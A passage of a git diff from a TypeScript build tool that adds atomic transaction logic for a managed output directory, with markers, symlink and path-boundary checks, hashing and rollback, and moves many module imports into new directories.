当前事务的稳定恢复信息。 + */ +export async function writeTransactionMarker(file: string, record: TransactionRecord): Promise { + /** 临时普通文件先完整落盘,最终 marker 永远不会暴露部分 JSON。 */ + const writing = `${file}${MARKER_WRITING_SUFFIX}`; + /** `wx` 防止遗留或并发状态被当前事务静默覆盖。 */ + const handle = await fs.open(writing, 'wx', 0o600); + try { + await handle.writeFile(`${JSON.stringify(record)}\n`); + /** 临时 marker 内容先落盘,随后才允许原子发布最终目录项。 */ + await handle.sync(); + } finally { + await handle.close(); + } + try { + /** 同目录 hard link 原子发布且拒绝覆盖任何既有最终 marker。 */ + await fs.link(writing, file); + } finally { + /** 发布前失败或发布后崩溃遗留的临时链接都不参与恢复判断。 */ + await fs.rm(writing, { force: true }); + } +} + +/** + * 读取并验证一个受管事务 marker。 + * + * @param file 当前输出专属 marker 路径。 + * @param expectedOutDir 当前受管输出 basename。 + * @returns marker 不存在时返回 undefined。 + */ +export async function readTransactionMarker(file: string, expectedOutDir: string): Promise { + /** marker 缺失是正常恢复状态。 */ + const stat = await fs.lstat(file).catch(() => undefined); + if (stat === undefined) + return undefined; + if (stat.isSymbolicLink() || !stat.isFile()) + throw new Error('Managed output transaction marker must be a regular file.'); + /** 未验证 JSON 只能用于恢复状态判断,不能提供任意路径。 */ + const value: unknown = JSON.parse(await fs.readFile(file, 'utf8')); + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new Error('Managed output transaction marker is invalid.'); + /** marker 只允许固定恢复字段。 */ + const record = value as Record; + if (Object.keys(record).sort(compareCodePoints).join(',') !== 'hadOutput,outDir,schemaVersion,scope' + || record.schemaVersion !== 2 || record.outDir !== expectedOutDir + || (record.scope !== 'full' && record.scope !== 'subset') || typeof record.hadOutput !== 'boolean') { + throw new Error('Managed output transaction marker is invalid.'); + } + return Object.freeze({ + schemaVersion: 2, + outDir: record.outDir, + scope: record.scope, + hadOutput: record.hadOutput, + }) as TransactionRecord; +} + +/** @returns 字节的 SHA-256 十六进制摘要。 */ +function hashBytes(bytes: Uint8Array): string { + return createHash('sha256').update(bytes).digest('hex'); +} + +/** + * 规范化 transaction scope 并校验与 Unit Platform 集合完全一致。 + * + * @param scope 调用方选择语义。 + * @param units 本轮待提交 Package Units。 + * @returns frozen full/subset scope。 + */ +export function normalizeScope( + scope: ManagedOutputScope | undefined, + units: readonly PackageUnitSnapshot[], +): ManagedOutputScope { + if (scope === undefined || scope.type === 'full') + return Object.freeze({ type: 'full' }); + if (scope.type !== 'subset' || !Array.isArray(scope.platforms)) + throw new TypeError('Managed output scope is invalid.'); + /** selected IDs 复制、排序并拒绝不稳定或重复值。 */ + const selected = [...scope.platforms].sort(compareCodePoints); + if (selected.length === 0 || selected.some(platform => !STABLE_ID.test(platform)) + || new Set(selected).size !== selected.length) { + throw new TypeError('Subset Platform ids must be unique lowercase kebab-case values.'); + } + /** 成功提交时每个 selected Platform 必须至少存在一个 Unit。 */ + const actual = [...new Set(units.map(unit => unit.platform))].sort(compareCodePoints); + if (JSON.stringify(actual) !== JSON.stringify(selected)) + throw new TypeError('Subset Platform ids must exactly match the Package Unit Platform set.'); + return Object.freeze({ type: 'subset', platforms: Object.freeze(selected) }); +} + +/** 单个受管输出对应的固定物理路径协议。 */ +export interface ManagedOutputPaths { + readonly resolved: string; + readonly parent: string; + readonly base: string; + readonly lock: string; + readonly transaction: string; + readonly transactionWriting: string; + readonly committed: string; + readonly committedWriting: string; + readonly backup: string; + readonly stagePrefix: string; +} + +/** + * 验证 outDir 边界并形成全部固定事务路径。 + * + * @param outDir 受管输出目录。 + * @param projectRoot 工程根目录。 + * @returns 同一受管输出的不可变路径集合。 + */ +export function outputPaths(outDir: string, projectRoot: string): ManagedOutputPaths { + /** 输入路径先解析为绝对位置再判断边界。 */ + const resolved = path.resolve(outDir); + /** 工程根同样固定为绝对路径。 */ + const project = path.resolve(projectRoot); + /** basename 用于构造同级事务辅助路径。 */ + const base = path.basename(resolved); + if (!isInsidePath(project, resolved) || resolved === project + || resolved === path.parse(resolved).root || base === '' || base === '.' || base === '..') { + throw new Error('Managed output must stay strictly inside the project root.'); + } + /** 所有辅助路径与 outDir 同级,保证 rename 不跨文件系统。 */ + const parent = path.dirname(resolved); + /** pending 与 committed marker 使用固定、互不覆盖的名称。 */ + const transaction = path.join(parent, `.${base}.acplugin-transaction.json`); + /** committed marker 只在 cleanup 必要条件完成后发布。 */ + const committed = path.join(parent, `.${base}.acplugin-committed.json`); + return Object.freeze({ + resolved, + parent, + base, + lock: path.join(parent, `.${base}.acplugin.lock`), + transaction, + transactionWriting: `${transaction}${MARKER_WRITING_SUFFIX}`, + committed, + committedWriting: `${committed}${MARKER_WRITING_SUFFIX}`, + backup: path.join(parent, `.${base}.acplugin-backup`), + stagePrefix: `.${base}.acplugin-stage-`, + }); +} + +/** + * 读取一个未选 Platform 的完整旧输出,拒绝非普通内容和路径碰撞。 + * + * @param root Platform 物理根。 + * @param id Platform ID。 + * @returns 可复制并在 swap 前复核的内存快照。 + */ +async function snapshotPreservedPlatform(root: string, id: string): Promise { + /** scanPhysicalTree 统一拒绝 symlink/special file。 */ + const tree = await scanPhysicalTree(root); + /** 路径索引额外拒绝大小写和 NFC collision。 */ + const collision = new Map(); + for (const relative of [...tree.directories, ...tree.files]) { + /** 所有目录和文件共享同一个折叠 collision domain。 */ + const key = sourceCollisionKey(relative); + /** 首次出现的原始 path 用于稳定诊断。 */ + const previous = collision.get(key); + if (previous !== undefined) + throw new Error(`Preserved Platform path "${relative}" collides with "${previous}".`); + collision.set(key, relative); + } + /** file snapshots 与目录 closure 分开保存。 */ + const files: PreservedFile[] = []; + for (const relative of tree.files) { + /** 文件字节一次性复制,旧输出不会成为新 AssetRef 来源。 */ + const file = path.join(root, ...relative.split('/')); + /** mode 只接受框架 Asset 支持的两种权限。 */ + const stat = await fs.lstat(file); + /** 权限去除文件类型位后参与 snapshot。 */ + const mode = stat.mode & 0o777; + if (mode !== 0o644 && mode !== 0o755) + throw new Error(`Preserved Platform file has unsupported mode: ${id}/${relative}.`); + /** 内容 snapshot 同时固定 size/hash。 */ + const bytes = Uint8Array.from(await fs.readFile(file)); + files.push(Object.freeze({ + path: relative, + bytes, + mode, + size: bytes.byteLength, + sha256: hashBytes(bytes), + })); + } + return Object.freeze({ id, directories: tree.directories, files: Object.freeze(files) }); +} + +/** + * 在取得 transaction lock 后快照所有未选 Platform。 + * + * @param outDir 当前受管输出。 + * @param selected 本轮显式替换的 Platform。 + * @returns 按 Platform ID 排序的旧输出快照。 + */ +export async function snapshotPreservedPlatforms( + outDir: string, + selected: ReadonlySet, +): Promise { + if (!await exists(outDir)) + return Object.freeze([]); + /** outDir 自身也不能是 symlink 或普通文件。 */ + const stat = await fs.lstat(outDir); + if (stat.isSymbolicLink() || !stat.isDirectory()) + throw new Error('Managed output root must be a regular directory.'); + /** outDir 顶层只能包含 lowercase-kebab Platform 目录。 */ + const entries = (await fs.readdir(outDir, { withFileTypes: true })) + .sort((left, right) => compareCodePoints(left.name, right.name)); + /** 未选 Platform 按目录顺序进入快照。 */ + const preserved: PreservedPlatform[] = []; + /** 顶层 Platform ID 也拒绝 case/NFC collision。 */ + const collisions = new Map(); + for (const entry of entries) { + if (!STABLE_ID.test(entry.name) || !entry.isDirectory() || entry.isSymbolicLink()) + throw new Error(`Managed output contains an invalid Platform root: "${entry.name}".`); + /** Platform ID 使用与 Package path 相同的折叠 key。 */ + const key = sourceCollisionKey(entry.name); + /** 首次 Platform 名用于冲突诊断。 */ + const previous = collisions.get(key); + if (previous !== undefined) + throw new Error(`Managed output Platform "${entry.name}" collides with "${previous}".`); + collisions.set(key, entry.name); + if (!selected.has(entry.name)) + preserved.push(await snapshotPreservedPlatform(path.join(outDir, entry.name), entry.name)); + } + return Object.freeze(preserved); +} + +/** + * 把未选 Platform snapshot 写入 stage。 + * + * @param stage 当前事务 stage 根。 + * @param platforms 旧输出内存快照。 + */ +export async function materializePreservedPlatforms( + stage: string, + platforms: readonly PreservedPlatform[], +): Promise { + for (const platform of platforms) { + /** Platform 根本身即使为空也必须保留。 */ + const root = path.join(stage, platform.id); + await fs.mkdir(root, { recursive: true, mode: 0o700 }); + for (const directory of platform.directories) + await fs.mkdir(path.join(root, ...directory.split('/')), { recursive: true, mode: 0o700 }); + for (const file of platform.files) { + /** 文件写入不复用 copyFile,确保使用已快照的确定字节。 */ + const destination = path.join(root, ...file.path.split('/')); + await fs.mkdir(path.dirname(destination), { recursive: true, mode: 0o700 }); + await fs.writeFile(destination, file.bytes, { flag: 'wx', mode: file.mode }); + await fs.chmod(destination, file.mode); + } + } +} + +/** + * 复核保留 Platform 的树闭包、字节和 mode。 + * + * @param parent outDir 或 stage 根。 + * @param platforms 先前建立的完整快照。 + */ +export async function validatePreservedPlatforms( + parent: string, + platforms: readonly PreservedPlatform[], +): Promise { + for (const platform of platforms) { + /** preserved validation 始终从 Platform root 开始。 */ + const root = path.join(parent, platform.id); + /** closure 比较拒绝外部在 snapshot 后增删文件或目录。 */ + const tree = await scanPhysicalTree(root); + if (JSON.stringify(tree.directories) !== JSON.stringify(platform.directories) + || JSON.stringify(tree.files) !== JSON.stringify(platform.files.map(file => file.path))) { + throw new Error(`Preserved Platform tree changed during transaction: ${platform.id}.`); + } + for (const expected of platform.files) { + /** 每个文件重新读取以验证 source/stage 都等于同一 snapshot。 */ + const file = path.join(root, ...expected.path.split('/')); + /** mode 从 lstat 获取,避免最终 symlink 跟随。 */ + const stat = await fs.lstat(file); + /** bytes 再次复算 size/hash。 */ + const bytes = Uint8Array.from(await fs.readFile(file)); + if ((stat.mode & 0o777) !== expected.mode || bytes.byteLength !== expected.size + || hashBytes(bytes) !== expected.sha256) { + throw new Error(`Preserved Platform file changed during transaction: ${platform.id}/${expected.path}.`); + } + } + } +} + +/** + * 校验 stage 顶层只包含本轮 Unit 与保留 Platform 的完整集合。 + * + * @param stage 当前 stage 根。 + * @param units 本轮新 Package Units。 + * @param preserved 未选 Platform snapshots。 + */ +export async function validateStagePlatforms( + stage: string, + units: readonly PackageUnitSnapshot[], + preserved: readonly PreservedPlatform[], +): Promise { + /** expected 顶层由新 Unit Platform 与 preserved Platform 并集组成。 */ + const expected = [...new Set([ + ...units.map(unit => unit.platform), + ...preserved.map(platform => platform.id), + ])].sort(compareCodePoints); + /** stage 顶层实际目录集合也必须完整闭合。 */ + const actual = (await fs.readdir(stage, { withFileTypes: true })) + .map((entry) => { + if (!entry.isDirectory() || entry.isSymbolicLink()) + throw new Error(`Managed stage contains a non-directory Platform root: "${entry.name}".`); + return entry.name; + }) + .sort(compareCodePoints); + if (JSON.stringify(actual) !== JSON.stringify(expected)) + throw new Error('Managed stage Platform closure mismatch.'); +} + +/** 把即将 swap 的最终 stage 全部目录规范为公开可遍历的 0755。 */ +export async function normalizeFinalDirectoryModes(stage: string): Promise { + if (process.platform === 'win32') + return; + /** scan 先证明整棵 stage 不含 symlink 或特殊文件。 */ + const tree = await scanPhysicalTree(stage); + /** 后代先 chmod,最后处理会成为 outDir 的 stage root。 */ + for (const directory of tree.directories) + await fs.chmod(path.join(stage, ...directory.split('/')), 0o755); + await fs.chmod(stage, 0o755); +} + +/** 复核 stage 根和所有后代目录的最终 POSIX mode。 */ +export async function validateFinalDirectoryModes(stage: string): Promise { + if (process.platform === 'win32') + return; + /** scan 同时返回完整目录闭包并拒绝非普通内容。 */ + const tree = await scanPhysicalTree(stage); + for (const directory of ['', ...tree.directories]) { + /** 空字符串表示最终 outDir 根自身。 */ + const physical = directory === '' ? stage : path.join(stage, ...directory.split('/')); + /** lstat 复核当前目录没有被替换且使用最终公开 mode。 */ + const stat = await fs.lstat(physical); + if ((stat.mode & 0o777) !== 0o755) + throw new Error('Managed stage directories must use mode 0755.'); + } +} diff --git a/packages/core/src/output/transaction.ts b/packages/core/src/output/transaction.ts new file mode 100644 index 0000000..06e7f25 --- /dev/null +++ b/packages/core/src/output/transaction.ts @@ -0,0 +1,201 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { PackageUnitSnapshot } from '../contracts/packages.js'; +import { AssetRegistry } from '../services/assets.js'; +import { validatePhysicalEntry } from '../security/path-policy.js'; +import { materializePackageUnits, validatePackageUnits } from '../package/candidate-materializer.js'; +import { acquireManagedOutputLock, releaseManagedOutputLock } from './lock.js'; +import { recoverManagedOutput } from './recovery.js'; +import { + exists, + materializePreservedPlatforms, + normalizeFinalDirectoryModes, + normalizeScope, + outputPaths, + snapshotPreservedPlatforms, + validateFinalDirectoryModes, + validatePreservedPlatforms, + validateStagePlatforms, + writeTransactionMarker, + type ManagedOutputScope, + type TransactionRecord, +} from './transaction-files.js'; + +export type { ManagedOutputScope } from './transaction-files.js'; + +/** 受管输出事务可观测的稳定阶段名称。 */ +export type ManagedOutputPhase + = | 'lock-acquired' + | 'recovery-complete' + | 'stage-materialized' + | 'stage-validated' + | 'transaction-written' + | 'backup-created' + | 'output-swapped'; + +/** Package Unit 集合原子提交选项。 */ +export interface CommitPackageUnitsOptions { + /** outDir 必须严格位于该工程根内部。 */ + readonly projectRoot: string; + /** 默认 full;subset 会在 stage 中保留未选 Platform 的既有输出。 */ + readonly scope?: ManagedOutputScope; + /** + * 在事务进入关键阶段时调用,用于内部观测和 fault injection。 + * + * @param phase 已经完成的事务阶段。 + */ + readonly onPhase?: (phase: ManagedOutputPhase) => void | Promise; + /** swap 后、删除 rollback backup 前执行的 Core 收尾。 */ + readonly afterSwap?: () => void | Promise; +} +/** + * 原子提交全部 selected Package Units。 + * + * @param outDir 框架完全管理的输出目录。 + * @param units 已完成 candidate/compatibility 校验的 Package Units。 + * @param assets 当前 BuildSession Asset Registry。 + * @param options 工程边界、scope 和 fault-injection hooks。 + */ +export async function commitPackageUnits( + outDir: string, + units: readonly PackageUnitSnapshot[], + assets: AssetRegistry, + options: CommitPackageUnitsOptions, +): Promise { + /** 所有路径、scope 输入在创建锁或辅助文件前完成验证。 */ + const locations = outputPaths(outDir, options.projectRoot); + /** scope 与本轮 Unit Platform set 精确绑定。 */ + const scope = normalizeScope(options.scope, units); + await fs.mkdir(locations.parent, { recursive: true }); + /** project→parent 的每层必须是非 symlink 普通目录。 */ + await validatePhysicalEntry(path.resolve(options.projectRoot), locations.parent, 'directory'); + if (await exists(locations.resolved)) + await validatePhysicalEntry(path.resolve(options.projectRoot), locations.resolved, 'directory'); + /** 三个持久辅助路径与 outDir 同级,保证 rename 不跨文件系统。 */ + const lockPath = locations.lock; + /** transaction record 用于崩溃恢复。 */ + const transactionPath = locations.transaction; + /** cleanup 完成后写入的 marker 将 pending transaction 提升为正式提交。 */ + const committedPath = locations.committed; + /** backup 保存 swap 前的完整旧目录。 */ + const backupPath = locations.backup; + /** 当前调用创建但尚未 swap 的 stage。 */ + let stage: string | undefined; + /** rollback 判断旧输出是否已经移动。 */ + let backupCreated = false; + /** rollback 判断新输出是否已经暴露。 */ + let outputSwapped = false; + /** 仅清理当前调用已经创建的 transaction marker。 */ + let transactionWritten = false; + + /** lock token 从 recovery 一直持有到 cleanup 完成。 */ + const lockToken = await acquireManagedOutputLock(lockPath); + try { + await options.onPhase?.('lock-acquired'); + await recoverManagedOutput(locations, options.projectRoot); + await options.onPhase?.('recovery-complete'); + + /** subset 在锁内快照未选 Platform;full 使用空保留集。 */ + const preserved = scope.type === 'subset' + ? await snapshotPreservedPlatforms(locations.resolved, new Set(scope.platforms)) + : Object.freeze([]); + stage = await fs.mkdtemp(path.join(locations.parent, locations.stagePrefix)); + /** 先放入旧未选 Platform,再写入本轮 selected Units。 */ + await materializePreservedPlatforms(stage, preserved); + /** selected Units 直接从 AssetRegistry 做 TOCTOU materialization。 */ + const materialized = await materializePackageUnits(stage, units, assets); + /** 只有完整 stage 即将验证/swap 时才从私有 0700 规范为最终 0755。 */ + await normalizeFinalDirectoryModes(stage); + await options.onPhase?.('stage-materialized'); + /** selected Units、preserved Platforms 与 stage 顶层分别完成闭包验证。 */ + await validatePackageUnits(stage, units, materialized); + await validatePreservedPlatforms(stage, preserved); + await validateStagePlatforms(stage, units, preserved); + await validateFinalDirectoryModes(stage); + /** swap 前再次复核旧未选 Platform 没有在 snapshot 后变化。 */ + if (preserved.length > 0) + await validatePreservedPlatforms(locations.resolved, preserved); + await options.onPhase?.('stage-validated'); + /** record 只含相对 basename、scope 和旧输出存在性,不记录绝对路径。 */ + const transactionRecord: TransactionRecord = Object.freeze({ + schemaVersion: 2, + outDir: locations.base, + scope: scope.type, + hadOutput: await exists(locations.resolved), + }); + await writeTransactionMarker(transactionPath, transactionRecord); + transactionWritten = true; + await options.onPhase?.('transaction-written'); + + if (await exists(locations.resolved)) { + await fs.rename(locations.resolved, backupPath); + backupCreated = true; + } + try { + await options.onPhase?.('backup-created'); + await fs.rename(stage, locations.resolved); + stage = undefined; + outputSwapped = true; + await options.onPhase?.('output-swapped'); + await options.afterSwap?.(); + /** 只有必要 cleanup 成功后,崩溃恢复才允许保留新输出。 */ + await writeTransactionMarker(committedPath, transactionRecord); + } catch (error) { + try { + /** afterSwap/rename 失败统一恢复旧输出。 */ + if (outputSwapped && await exists(locations.resolved)) + await fs.rm(locations.resolved, { recursive: true, force: true }); + if (backupCreated && await exists(backupPath)) + await fs.rename(backupPath, locations.resolved); + } catch (rollbackError) { + throw new AggregateError([error, rollbackError], 'Managed output rollback failed.', { cause: rollbackError }); + } + throw error; + } + if (await exists(backupPath)) { + try { + await fs.rm(backupPath, { recursive: true, force: true }); + } catch { + /** committed marker 保留到下次 recovery 删除过期 backup。 */ + return; + } + } + /** backup 已清理后才可删除恢复 record;committed marker 最后删除。 */ + try { + await fs.rm(transactionPath, { force: true }); + transactionWritten = false; + } catch { + /** 两个 marker 留给下次 recovery 确认新输出已提交。 */ + return; + } + try { + await fs.rm(committedPath, { force: true }); + } catch { + /** 单独的 committed marker 同样可由下次 recovery 安全清理。 */ + } + } catch (error) { + if (!(error instanceof AggregateError) && transactionWritten) { + try { + await fs.rm(transactionPath, { force: true }); + await fs.rm(committedPath, { force: true }); + transactionWritten = false; + } catch { + /** 无法清理的 marker 是下一轮可恢复状态。 */ + } + } + throw error; + } finally { + if (stage !== undefined) { + try { + await fs.rm(stage, { recursive: true, force: true }); + } catch { + /** stage 清理失败不覆盖原始 transaction 结果。 */ + } + } + try { + await releaseManagedOutputLock(lockPath, lockToken); + } catch { + /** 遗留 record 已撤销 active token,将由同 PID 的下一轮识别为 stale。 */ + } + } +} diff --git a/packages/core/src/package/candidate-materializer.ts b/packages/core/src/package/candidate-materializer.ts index 77826c8..fa12d61 100644 --- a/packages/core/src/package/candidate-materializer.ts +++ b/packages/core/src/package/candidate-materializer.ts @@ -2,9 +2,12 @@ import { createHash } from 'node:crypto'; import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; -import type { PackageCandidate, PackageUnitSnapshot } from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; +import type { + PackageCandidate, + PackageUnitSnapshot, +} from '../contracts/packages.js'; +import { AssetRegistry } from '../services/assets.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../security/path-policy.js'; /** Package Unit Platform/ID 共用的 lowercase-kebab 规则。 */ const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; diff --git a/packages/core/src/package/compatibility-registry.ts b/packages/core/src/package/compatibility.ts similarity index 97% rename from packages/core/src/package/compatibility-registry.ts rename to packages/core/src/package/compatibility.ts index fb9c5ac..c53d935 100644 --- a/packages/core/src/package/compatibility-registry.ts +++ b/packages/core/src/package/compatibility.ts @@ -1,15 +1,18 @@ +import type { CanonicalProject } from '../contracts/components.js'; +/** Core 集中处理目标平台兼容性结论。 */ import type { - CanonicalProject, CompatibilityEntry, + MetadataDispositionEntry, +} from '../contracts/reports.js'; +import type { CompatibilityInput, CompatibilityLevel, - MetadataDispositionEntry, MetadataDispositionInput, - PluginMetadata, -} from '../kernel-types.js'; -import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; -import { compareCodePoints, safeRelativePath } from '../kernel/path-policy.js'; -import { sanitizeStableText } from '../kernel/report-safety.js'; +} from '../contracts/integrations.js'; +import type { PluginMetadata } from '../contracts/config.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { compareCodePoints, safeRelativePath } from '../security/path-policy.js'; +import { sanitizeStableText } from '../security/report-safety.js'; import { snapshotJson } from './json-snapshot.js'; /** subject/capability/field/transformation/cause 使用的稳定结构化身份。 */ diff --git a/packages/core/src/package/distribution-registry.ts b/packages/core/src/package/distributions.ts similarity index 95% rename from packages/core/src/package/distribution-registry.ts rename to packages/core/src/package/distributions.ts index d434887..46145a5 100644 --- a/packages/core/src/package/distribution-registry.ts +++ b/packages/core/src/package/distributions.ts @@ -1,14 +1,17 @@ +/** Core 集中验证并冻结 Platform Distribution。 */ import type { AssetRef, AssetService, +} from '../contracts/services.js'; +import type { DistributionPackageInput, PackageAssetInput, PackageAssetSnapshot, PackageUnitSnapshot, -} from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; -import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; +} from '../contracts/packages.js'; +import { AssetRegistry } from '../services/assets.js'; +import { dataArrayItems, dataObjectFields } from '../security/data-boundary.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../security/path-policy.js'; /** Distribution 和 Platform ID 共用的 lowercase-kebab 规则。 */ const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; diff --git a/packages/core/src/package/document-codec.ts b/packages/core/src/package/documents.ts similarity index 94% rename from packages/core/src/package/document-codec.ts rename to packages/core/src/package/documents.ts index 27cd40b..52b799d 100644 --- a/packages/core/src/package/document-codec.ts +++ b/packages/core/src/package/documents.ts @@ -1,6 +1,11 @@ +/** Core 确定性编解码结构化 Package Document。 */ import { stringify as stringifyToml } from '@iarna/toml'; import { stringify as stringifyYaml } from 'yaml'; -import type { JsonObject, JsonValue, PackageDocumentSnapshot } from '../kernel-types.js'; +import type { + JsonObject, + JsonValue, +} from '../contracts/common.js'; +import type { PackageDocumentSnapshot } from '../contracts/packages.js'; import { snapshotJson } from './json-snapshot.js'; /** Frontmatter Document 的唯一结构化 schema。 */ diff --git a/packages/core/src/package/json-snapshot.ts b/packages/core/src/package/json-snapshot.ts index 1aff84b..76a2c07 100644 --- a/packages/core/src/package/json-snapshot.ts +++ b/packages/core/src/package/json-snapshot.ts @@ -1,76 +1,13 @@ -import type { DocumentFieldPath, JsonObject, JsonValue } from '../kernel-types.js'; -import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; -import { compareCodePoints } from '../kernel/path-policy.js'; +import type { + DocumentFieldPath, + JsonObject, + JsonValue, +} from '../contracts/common.js'; +import { snapshotJson } from '../security/json-snapshot.js'; +import { compareCodePoints } from '../security/path-policy.js'; -/** JSON snapshot 递归时携带的路径和祖先集合。 */ -interface SnapshotState { - readonly path: string; - readonly ancestors: Set; -} - -/** - * 复制严格 JSON 值并拒绝 getter、Symbol、稀疏数组和循环。 - * - * @param value Integration 返回的未知值。 - * @param state 当前递归路径与祖先身份。 - * @returns 与调用方容器断开的深度冻结 JSON。 - */ -function snapshot(value: unknown, state: SnapshotState): JsonValue { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return value; - if (typeof value === 'number') { - if (!Number.isFinite(value)) - throw new TypeError(`${state.path} must contain only finite JSON numbers.`); - return value; - } - if (typeof value !== 'object') - throw new TypeError(`${state.path} must contain only JSON values.`); - if (state.ancestors.has(value)) - throw new TypeError(`${state.path} must not contain cycles.`); - state.ancestors.add(value); - try { - if (Array.isArray(value)) { - /** 数组先经过统一 data boundary,再递归复制每个元素。 */ - const items = dataArrayItems(value, state.path); - return Object.freeze(items.map((item, index) => snapshot(item, { - ancestors: state.ancestors, - path: `${state.path}[${index}]`, - }))); - } - /** JSON object 允许任意字符串字段,但仍统一拒绝行为型容器。 */ - const ownFields = Object.getOwnPropertyNames(value); - /** 任意字段集合仍通过统一 descriptor boundary。 */ - const fields = dataObjectFields(value, new Set(ownFields), state.path); - /** 新对象不保留调用方 prototype 或 descriptor 可变性。 */ - const result: Record = {}; - for (const field of Object.keys(fields).sort(compareCodePoints)) { - /** 每个 JSON 字段必须是显式 data property。 */ - const descriptor = fields[field]!; - if (!('value' in descriptor)) - throw new TypeError(`${state.path}.${field} must be a data property.`); - Object.defineProperty(result, field, { - value: snapshot(descriptor.value, { ancestors: state.ancestors, path: `${state.path}.${field}` }), - enumerable: true, - configurable: false, - writable: false, - }); - } - return Object.freeze(result); - } finally { - state.ancestors.delete(value); - } -} - -/** - * 建立可进入 Document、Contribution 或报告的严格 JSON snapshot。 - * - * @param value 外部 JSON 候选。 - * @param label 根路径诊断标签。 - * @returns 深度冻结且键序稳定的 JSON。 - */ -export function snapshotJson(value: unknown, label = 'JSON value'): JsonValue { - return snapshot(value, { path: label, ancestors: new Set() }); -} +/** Package 领域沿用唯一的 Core strict JSON snapshot 实现。 */ +export { snapshotJson }; /** * 验证并复制非空 Document 字段路径。 diff --git a/packages/core/src/package/package-registry.ts b/packages/core/src/package/registry.ts similarity index 97% rename from packages/core/src/package/package-registry.ts rename to packages/core/src/package/registry.ts index e3e0682..ef291b0 100644 --- a/packages/core/src/package/package-registry.ts +++ b/packages/core/src/package/registry.ts @@ -1,25 +1,28 @@ +import type { AssetRef } from '../contracts/services.js'; +/** Core 集中拥有 Platform base Package 与 Contribution merge。 */ import type { - AssetRef, CompatibilityInput, - DocumentFieldPath, MetadataDispositionInput, + PackageContribution, + PlatformDeliveryType, +} from '../contracts/integrations.js'; +import type { DocumentFieldPath } from '../contracts/common.js'; +import type { MergedPackageSnapshot, PackageAssetInput, PackageAssetSnapshot, - PackageContribution, PackageDocumentInput, PackageDocumentSnapshot, PackageUnitSnapshot, PlatformBasePackageSnapshot, - PlatformDeliveryType, PlatformPackageInput, PrimaryPackageInput, -} from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; -import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; -import { snapshotCompatibility, snapshotMetadata } from './compatibility-registry.js'; -import { documentIsEmpty, encodePackageDocument } from './document-codec.js'; +} from '../contracts/packages.js'; +import { AssetRegistry } from '../services/assets.js'; +import { dataArrayItems, dataObjectFields } from '../security/data-boundary.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../security/path-policy.js'; +import { snapshotCompatibility, snapshotMetadata } from './compatibility.js'; +import { documentIsEmpty, encodePackageDocument } from './documents.js'; import { addDocumentField, documentFieldAvailable, @@ -90,7 +93,7 @@ function reservePath(paths: Map, value: unknown, label: string): * @param input 未受信任 paths。 * @returns 唯一、排序且全部指向当前空位的 paths。 */ -function extensionPoints(value: import('../kernel-types.js').JsonValue, input: unknown): readonly DocumentFieldPath[] { +function extensionPoints(value: import('../contracts/common.js').JsonValue, input: unknown): readonly DocumentFieldPath[] { /** extensionPoints 也必须越过稠密 data array 边界。 */ const items = dataArrayItems(input, 'Document extensionPoints'); /** path key 到精确 tuple,用于拒绝重复声明。 */ diff --git a/packages/core/src/package/report-builder.ts b/packages/core/src/package/report-builder.ts index 271c8ce..6d5b582 100644 --- a/packages/core/src/package/report-builder.ts +++ b/packages/core/src/package/report-builder.ts @@ -7,12 +7,12 @@ import type { MetadataDispositionEntry, PackageAssetReport, PackageUnitReport, - PackageUnitSnapshot, PlatformReport, RuntimeReport, -} from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import { compareCodePoints } from '../kernel/path-policy.js'; +} from '../contracts/reports.js'; +import type { PackageUnitSnapshot } from '../contracts/packages.js'; +import { AssetRegistry } from '../services/assets.js'; +import { compareCodePoints } from '../security/path-policy.js'; import { snapshotJson } from './json-snapshot.js'; /** Schema v2 BuildReport 的完整内部输入。 */ diff --git a/packages/core/src/kernel/project.ts b/packages/core/src/project/project.ts similarity index 95% rename from packages/core/src/kernel/project.ts rename to packages/core/src/project/project.ts index 523cbd1..869a362 100644 --- a/packages/core/src/kernel/project.ts +++ b/packages/core/src/project/project.ts @@ -2,26 +2,30 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; import type { BuildReport, + Diagnostic, +} from '../contracts/reports.js'; +import type { ConfigEnvironment, + UserConfig, + UserConfigExport, +} from '../contracts/config.js'; +import type { CreateProjectOptions, DevSession, - Diagnostic, Project, ProjectDevOptions, ProjectRunOptions, RunProjectOptions, - UserConfig, - UserConfigExport, -} from '../kernel-types.js'; +} from '../contracts/project.js'; import { createKernelBuildEnvironment, disposeKernelBuildEnvironment, normalizeProjectRunOptions, runKernelBuildSession, -} from './build-session.js'; -import { createDevSession } from './dev-session.js'; -import { resolveKernelConfig } from './config-resolver.js'; -import { isInsidePath, safeRelativePath } from './path-policy.js'; +} from '../lifecycle/build-session.js'; +import { createDevSession } from '../lifecycle/dev-session.js'; +import { resolveKernelConfig } from '../config/resolver.js'; +import { isInsidePath, safeRelativePath } from '../security/path-policy.js'; /** 配置定位、模块执行或 schema/brand 失败的唯一公开异常。 */ export class ProjectConfigError extends Error { @@ -120,7 +124,7 @@ async function loadConfig( environment: Awaited>, command: ConfigEnvironment['command'], mode: ConfigEnvironment['mode'], -): Promise { +): Promise { await validateConfigEntry(identity); /** config owner 只获得 Project root 下当前显式入口的 Source capability。 */ const root = await environment.sources.issueRoot('framework:config', identity.projectRoot); diff --git 